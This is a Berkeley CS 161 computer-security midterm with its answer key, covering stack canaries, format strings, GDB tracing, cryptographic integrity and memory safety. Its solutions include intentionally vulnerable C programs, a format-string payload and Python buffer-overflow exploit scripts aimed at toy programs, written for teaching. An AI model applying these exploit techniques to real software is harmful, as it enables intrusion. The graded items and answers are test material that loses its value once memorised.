Weaver Fall 2019 — CS 161 Computer Security — Midterm

PRINT your name: _____, _____
(last) (first)

I am aware of the Berkeley Campus Code of Student Conduct and acknowledge that academic misconduct will be reported to the Center for Student Conduct and may further result in partial or complete loss of credit. I am also aware that Nick Weaver in particular takes cheating personally and, like the Hulk®, you don't want to see him angry.

SIGN your name: _____

PRINT your SID: _____

Test Number of the person sitting to your left: _____

Test Number of the person sitting to your right: _____

You may consult **one** double-sided, handwritten sheet of paper of notes. You may not consult other notes or textbooks. Calculators, computers, and other electronic devices are not permitted.

Bubble every item completely. Avoid using checkmarks or Xs.
If you want to unselect an option, erase it completely and clearly.

For questions with **circular bubbles**, you may select only one choice.

- ○ Unselected option (completely unfilled)
- ● Only one selected option (completely filled)

For questions with **square checkboxes**, you may select one or more choices.

- ■ You can select
- ■ multiple squares (completely filled).

If you think a question is ambiguous, please come up to the front of the exam room to the TAs. We will not answer your question directly. If we agree that the question is ambiguous we will add clarifications to the document projected in the exam rooms.

There is an appendix on the last page of the exam, containing all signatures of all C functions used on this exam and a synopsis. Please do not remove this appendix from the exam.

You have 110 minutes. There are 6 questions of varying credit (105 points total).

Do not turn this page until your instructor tells you to do so.

Problem 1 ***True / False*** **(16 points)**

(a) True or False: Consider the assembly code of a C function declared as `int f(int x)`. The function `f` must allocate space for the local variable `x` if it modifies `x`.

○ True ● False

Solution: The caller of `f` pushes space for `x` on the stack anyway, and modifications affect this copy, not the actual value used in the parent.

(b) True or False: If the string `s` is controlled by the attacker, the call `puts(s)` is vulnerable to a format string attack.

○ True ● False

Solution: Only functions which interpret format strings like `printf`, `snprintf`, ... can be vulnerable to format string attacks.

(c) Say we enable ASLR and stack canaries. Consider the stack canary and saved `ebp` for a given function frame. True or False: The program will have the stack canary below (lower in memory) than the saved `ebp`, *regardless* of the randomness of ASLR.

● True ○ False

(d) True or False: Consider a secure and well-seeded PRNG. If we mix in easily predictable data sources (like the weather or time of day), this decreases the entropy of PRNG.

○ True ● False

(e) True or False: Consider a block cipher with encryption function E_k. Given a key k and a ciphertext C, there is at most one message M such that $E_k(M) = C$.

● True ○ False

Solution: True, since block ciphers are permutations.

(f) True or False: Consider an encryption scheme with encryption function Enc_k. Given a key k and a ciphertext C, there is at most one message M such that $\mathsf{Enc}_k(M) = C$.

● True ○ False

Solution: True: having at most one preimage M is necessary to be able to decrypt messages! (Otherwise, multiple valid decryptions would be possible.)

(g) True or False: Consider a block cipher with decryption function D_k. Given a key k and a message M, there is at most one ciphertext C such that $D_k(C) = M$.

● True ○ False

Solution: True again, since block ciphers are permutations.

(h) True or False: Consider an encryption scheme with decryption function Dec_k. Given a key k and a message M, there is at most one ciphertext C such that $\text{Dec}_k(C) = M$.

○ True ● False

Solution: Multiple ciphertexts decrypt to the same message. (This is true of all IND-CPA encryption methods.)

Problem 2 ***Short Answers*** **(27 points)**

Answer the following miscellaneous short answer questions.

(a) (5 points) Older Linux systems used a "delimiter" canary: the canary was the constant value `0xff0a0000`.[1] As you saw in the homework and project, some newer Linux system use a "completely random" canary (32 random bits). Assume that we enable stack canaries, but disable all other memory safety defenses.

i. Fill in the program below to give a program which *can* be exploited (more than 50% of the time) when using a delimiter canary but *cannot* be exploited (more than 50% of the time) when using a completely random canary.

```
#include <stdio.h>
int main(int argc, char **argv) {









}
```

Solution: Other solutions exist.

```
1 #include <stdio.h>
2 int main(int argc, char **argv) {
3     char b[0];    // or char b[n];
4     gets(b + 3); // or gets(b + n + 3);
5 }
```

The above solution has an exploit which works w.p. 1/256 for random canaries but w.p. 1 for delimiter canaries.

Consider the delimiter canary. Note that by using `b+3`, we "skip" over the `0x0a` byte. Therefore, the attacker only needs to be able to write `0xff`, which they can do using `gets`. This means we can write an exploit which works 100% of the time.

For the completely random canary, the attacker must guess the correct value and only succeeds with probability 1/256.

ii. Fill in the program below to give a program which *can* be exploited (more than 50% of the time) when using a completely random canary but *cannot* be exploited (more than 50% of the time) when using a delimiter canary.

```
#include <stdio.h>
```

[1] Note that in ASCII, `0xff` is DELETE and `0x0a` is NEWLINE.

```
int main(int argc, char **argv) {




}
```

Solution: Other solutions exist.

```
1 #include <stdio.h>
2 int main(int argc, char **argv) {
3     char b[0];
4     printf("%x %x %x %x %x %x %x %x"); // wheee
5     gets(b);
6 }
```

The above solution has an exploit which works w.p. ≈ 63/64 for random canaries but w.p. 0 for delimiter canaries.

For the delimiter canary, an attacker cannot write the `0x0a` byte of the canary and will never succeed.

For the completely random canary, the attacker can write the correct value whenever the canary does not contain `0x0a`, which happens with probability ≈ 63/64.

(b) (4 points) In this question, you will implement a function called `get_parent_eip`. This function takes no arguments, and returns the address of the instruction *after* the instruction which called it. For example, the following C code:

```
1 printf("%p", get_parent_eip());
```

would get compiled to the following assembly language code:

```
1    0x000004d0 <+17>:    call   0x4b5 <get_parent_eip>
2    0x000004d5 <+22>:    push   %eax
3    0x000004d6 <+23>:    push   $0x30e0  # address of "%p"
4    0x000004db <+28>:    call   0x770 <printf>
5    0x000004e0 <+33>:    add    $0x8,%esp
```

and would output `0x4d5`, since the address of the `push %eax` instruction is `0x4d5`.

Fill in the assembly language code below to implement `get_parent_eip`.

```
get_parent_eip:
    push   %ebp
    mov    %esp,%ebp
    pop    %ebx
    pop    %eax
    push   %eax
    push   %ebx
    leave
    ret
```

Solution: The basic idea here is to pop the values off the stack into the registers and then restore the stack pointer by pushing those values back. The first value we pop is the saved ebp, and the next value is the saved eip, which is precisely the value we want to return!

Note we must use `%eax` for the return value due to calling convention.

Any solution which used any general purpose register which was NOT `%ebp`, `%esp` or `%eax` for blanks 1 and 4 received credit (even if those registers are ordinarily callee-saved). If the register `%ebp` or `%esp` is used, then the `leave` instruction will produce incorrect results. If the register `%eax` is used, the return address of the function will be incorrect.

(c) (4 points) Consider the following C program:

```
1 int main(int argc, char **argv) {
2     char buf[12];
3     int best_number = 0;
4     fgets(buf, sizeof(buf), stdin);
5     printf("Hello ");
6     printf(buf);
7     return best_number;
8 }
```

Alice wishes to hack this program so that the return value of `main` is `42`. What should she enter into the program in order to achieve this? Assume that `&buf = 0xbfffdd44`, and that stack allocations follow the model we discussed in class. Use the notation `\xRS` to denote a hex byte with value `0xRS`.

Solution: `\x40\xdd\xff\xbf%38x%n`.

Other solutions exist–but all solutions will be at most small variations on this one. The value `\x40\xdd\xff\xbf` is a pointer to the `int best_number` which will be used as the *return value* of `main`. (The return value is different than the return address!)

Note that we must have `%n` as the format specifier for the second argument to `printf`, since the second argument for `printf` corresponds to the first four bytes of `buf`. The first argument of `printf` is `best_number`, but this doesn't matter too much.

Solutions which required reading more than 11 bytes did not receive full credit, as `fgets` only allows reading 11 bytes (and a NUL terminator).

(d) Recall the instructions for determining your exam room:

1. Take your student ID in a text file with a single (UNIX) newline at the end.
2. Apply SHA256 to it.
3. If the first 2 hex digits are less than `0x38`, go to Hearst Field Annex Room 1A. Otherwise go to Wheeler.

i. (1 point) What are the first 6 hex digits of your hash?

ii. (2 points) TRUE or FALSE: CS 161 staff actually has no way to check if a student is in the correct exam room.

○ TRUE ● FALSE

iii. (2 points) Consider a slightly simpler version, where the cutoff is `0x40` instead of `0x38`. Alice and Bob want to sit next to each other in order to cheat.

What is the probability that Alice and Bob are in the same room, assuming they both follow the instructions provided? It is OK to leave your answer as an expression.

Solution: We can model the hash as a random function. Either both Alice and Bob end up in Hearst ($\frac{1}{4} \cdot \frac{1}{4}$), or Alice and Bob end up in Wheeler ($\frac{3}{4} \cdot \frac{3}{4}$). We see that this happens with probability $\frac{1}{4} \cdot \frac{1}{4} + \frac{3}{4} \cdot \frac{3}{4} = \frac{5}{8}$.

iv. (2 points) Again, consider the slightly simpler version discussed above. Nick's initial instructions were ambiguous about what "newline" was. Alice and Bob decide to take advantage of this, with Bob computing two versions of the hash, one with a UNIX newline ('`\n`') and one with a Windows newline ('`\r\n`'). (Alice still only computes her version of the hash with the UNIX newline.)

What is the probability that they end up in the same room? It is OK to leave your answer as an expression.

Solution: $\frac{1}{4}\left(1 - \left(\frac{3}{4}\right)^2\right) + \frac{3}{4}\left(1 - \left(\frac{1}{4}\right)^2\right) = 13/16$.

(e) Anna writes the following function to convert a string to its lowercase equivalent. (For the purpose of this question, assume the `malloc` on line 4 never fails.)

```
1 /* preconditions: s != NULL, size(s) > strlen(s) */
2 char *lowercase(char *s) {
3     size_t bytes = strlen(s) + 1;
4     char *new_s = malloc(bytes); // assume this never fails
5     for (size_t i = 0; i <= bytes; i++)
6         new_s[i] = tolower((unsigned char) s[i]);
7     return new_s;
8 }
```

Anna's employer, Boeing, wants her to write postconditions for this function. She decides to write the following:

```
/* rv is the return value of the function */
rv != NULL and
strlen(rv) == strlen(s) and
forall i . 0 <= i < strlen(rv) ==> (rv[i] >= 'a' && rv[i] <= 'z')
```

i. (3 points) There is a bug in Anna's `lowercase` function above. Please indicate the line number of this bug, as well as a rewrite of this line to fix the bug.

Line number with the bug: _____

Rewritten line which fixes the bug:

Solution: Bug on line 5, off-by-one. Should be: `for (size_t i = 0; i < bytes; i++)`.

ii. (2 points) Give an input `s` (without the surrounding quotes) which satisfies Anna's preconditions, but causes the postconditions of the function to be violated. (Assume the bug above has been fixed.)

Solution: @ (anything which contains a single non-alphabetic character)

iii. (2 points) Fill in the implementation of a new function `bad_lowercase` which satisfies Anna's postconditions, but does not actually lowercase the string properly. (Assume the bug above has been fixed.)

```
char *bad_lowercase(char *s) {
    size_t bytes = strlen(s) + 1;
    char *new_s = malloc(bytes); // assume this
        never fails
    for (size_t i = 0; i <= bytes; i++)

    return new_s;
}
```

Solution:

```
char *bad_lowercase(char *s) {
    size_t bytes = strlen(s) + 1;
    char *new_s = malloc(bytes); // assume
        this never fails
    for (size_t i = 0; i < bytes; i++)
        new_s[i] = s[i] ? 'a' : 0;
    return new_s;
}
```

' Other solutions which do not use the ternary operator exist. A large amount of partial credit was given for solutions like `new_s[i] = 'a'`, which do not ensure that `strlen(rv) == strlen(s)`.

Problem 3 ***Stack Hacks*** **(23 points)**

Consider the following program:

```
1  void foo(char *b) {
2      int c = 0;
3      int d = 4;
4      b[d] = c;
5  }
6  #include <stdio.h>
7  int main() {
8      char a[16] = "hello";
9      foo(a);
10     puts(a);
11     return 0;
12 }
```

Neo wants to run this program in GDB. Help Neo by filling out the GDB commands[2] and their outputs on the following pages.

(a) (2 points) Neo starts `gdb`. He wants to set a breakpoint on the `main` function, and then start the program.

```
neo@pwnable $ gdb a
Reading symbols from a...done.
(gdb) b_main_(or_breakpoint_main)
Breakpoint 1 at 0x610: file a.c, line 8.
(gdb) r_(or_run)
Starting program: /home/neo/a

Breakpoint 1, main () at a.c:8
8               char a[16] = "hello";
```

[2]Some GDB commands have some several abbreviations, in this case, any abbreviation will be accepted.

(b) (1 point) Neo wants to print the assembly dump for the `main` function.

```
(gdb) disas_main_(or_disas)
Dump of assembler code for function main:
   0x004005fe <+0>:     push   %ebp
   0x004005ff <+1>:     mov    %esp,%ebp
   0x00400601 <+3>:     push   %ebx
   0x00400602 <+4>:     sub    $0x10,%esp
   0x00400605 <+7>:     call   0x400455 <__x86.get_pc_thunk.bx>
   0x0040060a <+12>:    add    $0x19be,%ebx
=> 0x00400610 <+18>:    movl   $0x6c6c6568,-0x14(%ebp)
   0x00400617 <+25>:    movl   $0x6f,-0x10(%ebp)
   0x0040061e <+32>:    movl   $0x0,-0xc(%ebp)
   0x00400625 <+39>:    movl   $0x0,-0x8(%ebp)
   0x0040062c <+46>:    lea    -0x14(%ebp),%eax
   0x0040062f <+49>:    push   %eax
   0x00400630 <+50>:    call   0x4005d0 <foo>
   0x00400635 <+55>:    add    $0x4,%esp
   0x00400638 <+58>:    lea    -0x14(%ebp),%eax
   0x0040063b <+61>:    push   %eax
   0x0040063c <+62>:    call   0x4003d0 <puts@plt>
   0x00400641 <+67>:    add    $0x4,%esp
   0x00400644 <+70>:    mov    $0x0,%eax
   0x00400649 <+75>:    mov    -0x4(%ebp),%ebx
   0x0040064c <+78>:    leave
   0x0040064d <+79>:    ret
End of assembler dump.
```

(c) (1 point) Neo wants to display the value of the `a` string.

```
(gdb) next
9               foo(a);
(gdb) p_a_(or_print_a)
$1 = "hello\000\000\000\000\000\000\000\000\000\000"
```

(d) (1 point) Neo wants to go into the `foo` function call.

```
(gdb) s_(or_step)
foo (b=0xbffff694 "hello") at a.c:2
2               int c = 0;
```

(e) (3 points) In the function `foo`, the stack model works exactly like the simplified model we've discussed in class–there is no padding inserted by the compiler. Neo runs `info frame` (also known as `i f`). Fill in the values below.

```
(gdb) info frame
Stack level 0, frame at 0xbffff690:
 eip = 0x4005e0 in foo (a.c:2); saved eip = 0x400635
 called by frame at 0xbffff6b0
 source language c.
 Arglist at 0xbffff688, args: b=0xbffff694 "hello"
 Locals at 0xbffff688, Previous frame's sp is 0xbffff690
 Saved registers:
  ebp at 0xbffff688, eip at 0xbffff68c
```

> **Solution:** The saved eip value is the address of the instruction after the `call foo` instruction, which using the assembly listing we find is `0x400635`.
>
> The saved ebp and saved eip locations can either be found by analyzing the output of `info frame` or simply drawing out the stack.

(f) (3 points) In the function `foo`, the stack model works exactly like the simplified model we've discussed in class–there is no padding inserted by the compiler. Fill in the output of the commands below.

```
(gdb) next
3               int d = 4;
(gdb) next
4               b[d] = c;
(gdb) x/1xw &c
0xbffff684:     0x00000000
(gdb) x/1xw &d
0xbffff680:     0x00000004
```

(g) (2 points) Neo wants to learn the values of the `eip` and `ebp` registers at line 11:

```
(gdb) next
5       }
(gdb) next
main () at a.c:10
10              puts(a);
(gdb) next
hell
11              return 0;
(gdb) p/x $eip
$2 = 0x400644
(gdb) p/x $ebp
$3 = 0xbffff6a8
```

Solution: These two are both very tricky!

Note that the `$eip` here is going to be the corresponding assembly code for `return 0`, which requires **multiple** x86 instructions. This begins at the instruction `mov $0x0, %eax` (recall that `%eax` will be used for the return value of main). The instruction before `add $0x4, %esp` is deallocating stack space for the argument given to `puts`.

For the value of `$ebp`, we need to take a look at the assembly code. There is a single saved register `%ebp`, and 16 bytes of memory allocated to `a`. We can then compute the correct value of `%ebp` based on the `info frame` of `foo`.

(h) (1 point) Neo wants to finish executing the program.

```
(gdb) c_(or_continue)
Continuing.
[Inferior 1 (process 1337) exited normally]
(gdb) quit
```

(i) (6 points) For each of the memory safety defenses below, indicate if it is enabled, disabled, or if it is not possible to tell based on the GDB output above.

i. W^X

○ Enabled ○ Disabled ● Not Enough Information

Solution: W^X is enabled at the operating system level (through page tables), and so there is not enough information to conclude this from just the program output.

ii. ASLR

○ Enabled ○ Disabled ● Not Enough Information

Solution: As above, ASLR is enabled at the operating system level, and so there is not enough information to conclude this from just the program output.

iii. Stack Canary

○ Enabled ● Disabled ○ Not Enough Information

Solution: Stack canaries are added by the compiler. If there was stack canary protection enabled, we would expect to see some code to initailize the canary and check its value in `main`. But this code is not present, so we conclude that stack canaries are disabled.

(j) (3 points) Now Neo changes line 8 of the program, from:

```
char a[16] = "hello";
```

to:

```
char a[16] = "hell";
```

Neo then recompiles the program with the same compiler flags. Only one line of the assembly listing on page 12 changes.

i. What is the hex address of the line of assembly code which changed?

ii. What is the new line of assembly code?

Solution: The hex address 0x00400617 gets changed to the assembly code `movl $0x0, -0x10(%ebp)`. (We can pinpoint 0x00400617 as adding the `o` to the end of `hello`, and then it is simply a matter of transcribing the below lines which zero out the rest of the array.)

Problem 4 ***Security Principles*** **(8 points)**

(a) (2 points) To prevent cheating during the final, the CS170 staff creates multiple versions of the exam, has assigned seating where students sit every other seat, make students check their neighbor's IDs, and takes a picture of the room to verify each student's location. What security principle is being used?

Solution: Defense in depth.

(b) (2 points) You are a club member and want to take funds out of the club bank account. This requires the signatures of at least two club members and an advisor. What security principle is being used?

Solution: Separation of responsibility.

(c) (2 points) The webmaster wants club member biographies on the website so he sends the admin credentials to all club members to upload their biographies. What security principle is being violated?

Solution: Least privilege.

(d) (2 points) You want to access equipment in the on campus locker. The equipment manager tells you that there is a Rubik's cube hanging on the locker door, and the locker combination is written on a slip of paper tucked inside the cube. What security principle is being violated?

Solution: Security through obscurity.

Problem 5 ***Integrity Woes*** **(14 points)**

Alice proposes her own AE (authenticated encryption) scheme. To send a message, Alice begins by splitting up the message P into plaintext blocks $P_1, \ldots, P_n$. Each message Alice sends will have two parts, an encrypted message $C = C_0 || \cdots || C_n$ and an integrity tag $T = T_1 || \cdots || T_n$.

Given a symmetric key k, plaintext block P_i, a random IV, and b = 128-bit AES block cipher, and the SHA3 cryptographic hash function, Alice computes the encryption as follows:

$$C_0 = IV$$
$$C_i = \text{AES}_k(IV + i) \oplus P_i \text{ for } 1 \leq i \leq n$$
$$T_i = \text{SHA3}(P_i || \text{AES}_k(IV + i)) \text{ for } 1 \leq i \leq n$$

Then, Alice sends the message (C, T) to the receiver, Bob. Bob decrypts the message using AES-CTR decryption algorithm on C. Bob then checks if the reconstructed message matches the tag T.

(a) (2 points) True or False: Charlie (who doesn't know k) can verify the integrity of a message.

○ True ● False

Solution: Two possible justifications:

1. Charlie needs k in order to extract the value of $AES_k(IV + i)$, and without that cannot check the values of T_i.
2. Nobody can verify the integrity of the message anyway, as the attack in part (c) below shows.

(b) (4 points) Unknown to Alice, if $P = P_1 = 0^b$ (that is, a block of all 0s), the integrity tag completely leaks this to an eavesdropper Eve![3]

Give a condition using C_0, C_1 and T_1 that, if true, implies that $P = P_1 = 0^b$. Your condition should be computable by an eavesdropper.

Solution:

$$T_1 == \text{SHA3}(0^b || C_1)$$

Note several solutions assumed that Eve could compute C_1 herself (e.g., by reusing the formula for C_1 from above). Eve does not know k, and therefore she cannot compute AES_k.

(c) (6 points) Alice uses this scheme to send the message P to Bob, meaning that she sent the ciphertext and tag (C, T) to Bob. Eve talked with Bob, and learned the contents of the message P. Therefore, Eve has concluded that (C, T) is an associated ciphertext and integrity tag of P.

Construct a C' and T' that will authenticate and decrypt to a different message P', in terms of $P_1, \ldots, P_n$, $C_0, C_1, \ldots, C_n$ and $T_1, \ldots, T_n$. Assume P' is the same length as P.

C'_0 =

[3] This is actually true for many P, but this is the most straightforward to show!

Solution:

$$C'_0 = C_0$$

$C'_i =$ (for $i \geq 1$)

Solution:

$$C'_i = P'_i \oplus (C_i \oplus P_i)$$

The trick here is the same as the one for AES-CTR seen in lecture.

$T'_i =$

Solution:

$$T'_i = \text{SHA}(P'_i || (C_i \oplus P_i))$$

(d) (2 points) Bob suggests changing the underlying AES mode to be CFB. Specifically, C is now the CFB encryption of the plaintext, and T is described as follows:

$$T = T_1 || \cdots || T_n$$
$$T_i = \text{SHA}(P_i || \text{AES}_k(C_{i-1}))$$

True or False: Bob's suggestion prevents the attack described in part (b).

○ True ● False

Problem 6 ***Safe Strings*** **(17 points)**

"C strings are unsafe," muses Louis Reasoner. He decides to write his own C string library.

```
1  typedef struct {
2      char *s;
3      size_t capacity;
4      size_t size;
5  } safe_str;
6
7  safe_str *create_safe_str(char *s) { return (safe_str *)s; }
8
9  void append_char(safe_str *ss, char c) {
10     if (ss->capacity <= ss->size || ss->size == -1) return;
11     ss->s[ss->size] = c;
12     ss->size++;
13 }
14
15 int main(int argc, char **argv) {
16     if (argc < 3) return 1;
17     safe_str *ss = create_safe_str(argv[1]);
18     for (size_t i = 0; i <= strlen(argv[2]); i++)
19         append_char(ss, argv[2][i]);
20     printf("%s\n", ss->s);
21 }
```

(a) (2 points) Neo wants to write a exploit script to exploit Louis's program. Louis's vulnerable program is called `safe`. Neo plans to split the exploit into two executable scripts: `e1` (for `argv[1]`) and `e2` (for `argv[2]`). Assuming that the contents of these two files is correct, which of the following exploit scripts would successfully exploit the program?

☐ `invoke safe < ./e1 < ./e2`

☐ `(./e1 ; ./e2) | invoke safe`

☐
```
argv = { "safe", "./e1", "./e2" }
invoke "${argv[@]}"
```

■ `invoke safe "$(./e1)" "$(./e2)"`

☐
```
argv[1]="$(./e1)"
argv[2]="$(./e2)"
invoke safe
```

Solution: See the exploit script for Q3 in the project. None of the other solutions (1) actually run `e1` and `e2` and (2) pass it in as *arguments* to the vulnerable program.

(b) (8 points) We will write the programs `e1` and `e2`. You may find some of the following information useful:

1. The code above is compiled on a 32-bit Intel system, with `sizeof(size_t) = 4`.
2. No memory safety defenses are enabled.
3. There is no compiler padding.
4. On line 17, we have `%ebp = 0xbfdeada8` and `argv = 0xbffeedc8`.
5. Assume that (regardless of what you put for the exploit scripts below), the memory addresses above remain the same.

Fill in the Python scripts below to successfully exploit the program. There is a variable `SHELLCODE`, which is a 42-byte string (with no NUL bytes) containing code that you want to execute. You may not need all of the given lines.

`e1`:

```
#!/usr/bin/env python2
SHELLCODE = "omitted"









                                                    # end e1
```

`e2`:

```
#!/usr/bin/env python2
SHELLCODE = "omitted"









                                                    # end e2
```

Solution: Note that the cast in `create_safe_str` is incorrect! Essentially, Lewis is treating `argv[1]` as if it is a `safe_str`. We can use this to cause the calls to `append_char` to write onto the stack, allowing us to surgically overwrite the return address.

Using the fact that `%ebp = 0xbfdeada8`, we find that the saved `eip` would be at address `0xbfdeadac`.

We use the following script for `e1`:

```
#!/usr/bin/env python2
print "\xab\xac\xdd\xbe\xff\xff\xff\xff\x01\x01\x01\x01"
```

This makes a "fake `safe_str`" with `s = 0xbeddacab`, `capacity = 0xffffffff`, `size = 0x01010101`. Note that we cannot set `size = 0`, because NUL bytes are not allowed in UNIX arguments (nit 1). However, our method still ensures that `s + size` points to the saved `eip`.

Now it is not too difficult to use `e2` – anything we put there will overwrite the saved `eip` and then continue up the stack:

```
#!/usr/bin/env python2
SHELLCODE = # omitted
print "\xb0\xad\xde\xbf" + SHELLCODE
```

However, this solution does not quite work, because then `SHELLCODE` overwrites `argv`, which could make the indexing `argv[2][i]` on line 19 segfault. In particular, a fully correct solution for `e2` must overwrite `argv` with its original contents (nit 2).

```
#!/usr/bin/env python2
SHELLCODE = # omitted
print ("\xb8\xad\xde\xbf" + # overwrite saved eip
"AAAA" + # overwrite argc
"\xc8\xed\xfe\xbf" + # keep argv the same
SHELLCODE)
```

We did not deduct points from solutions missing either nit 1 or nit 2 above, i.e., we gave full credit to solutions which attempted to write NUL bytes into UNIX arguments or did not properly rewrite `argv`.

(c) (3 points) Consider Assumption 5 in part (b). Explain why this assumption does not hold in practice.

Solution: Space for arguments is allocated on the stack above `main`'s stack frame, so longer arguments pushes the addresses down.

Solutions must mention the *length* of the arguments (or hint at it) in order to receive credit. Solutions which said that buffer overflows may overwrite addresses did not receive credit, as line 17 is before the buffer overflow.

Some solutions referenced ASLR (Assumption 2), compiler padding (Assumption 3), the possibility of running on a 64-bit machine (Assumption 1), &c. The question asks to specifically consider Assumption **5** above, which says that the addresses stay the same *regardless of your exploit scripts below*. Solutions which described how other assumptions might be violated did not receive credit.

(d) (2 points) True or False: Stack canaries would prevent exploiting this issue.

○ True ● False

Solution: No, the attack allows an attacker to "skip" and write above the canary.

(e) (2 points) True or False: W^X would prevent exploiting this issue.

○ True ● False

Solution: No, because an attacker could use return-oriented programming to exploit the program anyway. (WX would prevent this PARTICULAR exploit from working, but not preclude creating other exploits which work.)

Selected C Manual Pages

```
int puts(const char *s);

       puts() writes the string s and a trailing newline to stdout.

char *fgets(char *s, int size, FILE *stream);

       fgets() reads in at most one less than size characters from stream
       and stores them into the buffer pointed to by s.   Reading
       stops  after an EOF or a newline.  If a newline is read, it is
       stored into the buffer.  A terminating null byte ('\0') is stored
       after the last character in the buffer.

int printf(const char *format, ...);

       The  functions  in the printf() family produce output according to
       a format.  The functions printf() and vprintf() write output to
       stdout, the standard output stream.

size_t strlen(const char *s);

       The strlen() function calculates the length of the string pointed
       to by s, excluding the terminating null byte ('\0').

int tolower(int c);

       If c is an uppercase letter, tolower() returns its lowercase
       equivalent, if a lowercase representation exists.  Otherwise,
       it returns c.

void *malloc(size_t size);

       The  malloc()  function allocates size bytes and returns a pointer
       to the allocated memory.  The memory is not initialized.  If size
       is 0, then malloc() returns either NULL, or a unique pointer
       value that can later be successfully passed to free().
```